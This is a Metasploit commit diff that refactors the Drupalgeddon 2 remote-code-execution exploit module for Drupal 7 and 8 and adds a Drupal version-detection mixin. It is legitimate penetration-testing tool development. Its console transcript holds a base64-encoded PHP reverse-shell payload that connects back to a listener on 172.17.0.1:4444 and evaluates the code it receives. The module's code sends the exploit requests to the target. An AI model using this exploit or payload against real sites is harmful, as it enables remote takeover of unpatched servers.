Land #9968, second round of Drupalgeddon 2 updates

4.x
William Vu 2018-05-03 17:41:07 -05:00 committed by Jeffrey Martin
parent 38465e69a8
commit 935fa6414e
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
4 changed files with 106 additions and 86 deletions

View File

@ -86,14 +86,14 @@ msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
verbose => true
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
[*] Drupal 7.x targeted at http://172.17.0.3/
[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
[+] 172.17.0.3:80 The target is vulnerable.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Drupal 7.x targeted at http://172.17.0.3/
[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));

View File

@ -0,0 +1,74 @@
module Msf
module Exploit::Remote::HTTP::Drupal
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/'])
])
end
def setup
super
# Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)
# XXX: Naughty datastore modification instead of send_request_cgi!
datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')
end
def drupal_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return unless res && res.code == 200
# Check for an X-Generator header
version = version_match(res.headers['X-Generator'])
return version if version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
version_match(generator.value)
end
def drupal_changelog(version)
return unless version && Gem::Version.correct?(version)
uri = Gem::Version.new(version) < Gem::Version.new('8') ?
normalize_uri(target_uri.path, 'CHANGELOG.txt') :
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
res.body
end
def version_match(string)
return unless string
# Perl devs love me; Ruby devs hate me
string =~ /^Drupal ([\d.]+)/
return unless $1 && Gem::Version.correct?($1)
Gem::Version.new($1)
end
end
end

View File

@ -114,6 +114,7 @@ require 'msf/core/exploit/browser_autopwn2'
# Custom HTTP Modules
require 'msf/core/exploit/http/wordpress'
require 'msf/core/exploit/http/joomla'
require 'msf/core/exploit/http/drupal'
require 'msf/core/exploit/http/typo3'
require 'msf/core/exploit/http/jboss'

View File

@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
@ -44,7 +44,6 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
@ -75,25 +74,25 @@ class MetasploitModule < Msf::Exploit::Remote
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
],
#
@ -102,25 +101,25 @@ class MetasploitModule < Msf::Exploit::Remote
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
]
],
@ -129,7 +128,6 @@ class MetasploitModule < Msf::Exploit::Remote
))
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
@ -143,7 +141,9 @@ class MetasploitModule < Msf::Exploit::Remote
def check
checkcode = CheckCode::Safe
if drupal_version
@version = target['Version'] || drupal_version
if @version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
@ -151,9 +151,15 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown
end
if drupal_unpatched?
changelog = drupal_changelog(@version)
if changelog && changelog.include?('SA-CORE-2018-002')
print_warning('Drupal appears patched in CHANGELOG.txt')
elsif changelog
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
else
print_error('Could not determine Drupal patch level')
end
token = random_crap
@ -167,10 +173,15 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
if check == CheckCode::Safe && datastore['ForceExploit'] == false
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
unless @version
print_warning('Targeting Drupal 7.x as a fallback')
@version = Gem::Version.new('7')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
@ -282,9 +293,9 @@ class MetasploitModule < Msf::Exploit::Remote
res =
case @version.to_s
when '7.x'
when '7'
exploit_drupal7(func, cmd)
when '8.x'
when '8'
exploit_drupal8(func, cmd)
end
@ -300,72 +311,6 @@ class MetasploitModule < Msf::Exploit::Remote
res
end
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
return unless res && res.code == 200
# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
return @version if @version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end
def drupal_unpatched?
unpatched = true
# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
if res.body.include?('SA-CORE-2018-002')
unpatched = false
end
unpatched
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
@ -381,7 +326,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
@ -404,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)